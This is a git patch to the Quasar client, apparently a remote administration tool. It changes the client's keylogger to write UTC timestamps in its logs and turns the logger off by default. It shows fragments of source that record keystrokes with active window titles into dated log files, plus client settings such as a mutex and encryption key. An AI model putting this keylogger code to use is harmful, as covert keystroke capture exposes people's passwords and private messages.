From b0c54af1a0fbfa4477b7be0ab207786abef95433 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 1 Jun 2020 22:22:33 +0200 Subject: [PATCH] Use UTC timestamps in log files --- Quasar.Client/Config/Settings.cs | 2 +- Quasar.Client/Logging/Keylogger.cs | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 025d1b3e..82cc48c2 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -26,7 +26,7 @@ public static class Settings public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; - public static bool ENABLELOGGER = true; + public static bool ENABLELOGGER = false; public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; diff --git a/Quasar.Client/Logging/Keylogger.cs b/Quasar.Client/Logging/Keylogger.cs index 3ae6eb29..c8cccd56 100644 --- a/Quasar.Client/Logging/Keylogger.cs +++ b/Quasar.Client/Logging/Keylogger.cs @@ -7,6 +7,7 @@ using System; using System.Collections.Generic; using System.Diagnostics; +using System.Globalization; using System.IO; using System.Text; using System.Web; @@ -153,8 +154,8 @@ private void OnKeyDown(object sender, KeyEventArgs e) _lastWindowTitle = activeWindowTitle; _logFileBuffer.Append(@"



[" + HttpUtility.HtmlEncode(activeWindowTitle) + " - " - + DateTime.Now.ToString("HH:mm") - + "]


"); + + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + + " UTC]


"); } if (_pressedKeys.ContainsModifierKeys()) @@ -315,7 +316,7 @@ private void WriteFile() // TODO: Add some house-keeping and delete old log entries bool writeHeader = false; - string filePath = Path.Combine(Settings.LOGSPATH, DateTime.Now.ToString("MM-dd-yyyy")); + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd")); try { @@ -353,7 +354,7 @@ private void WriteFile() { logFile.Append( "Log created on " + - DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "

"); + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC

"); logFile.Append("");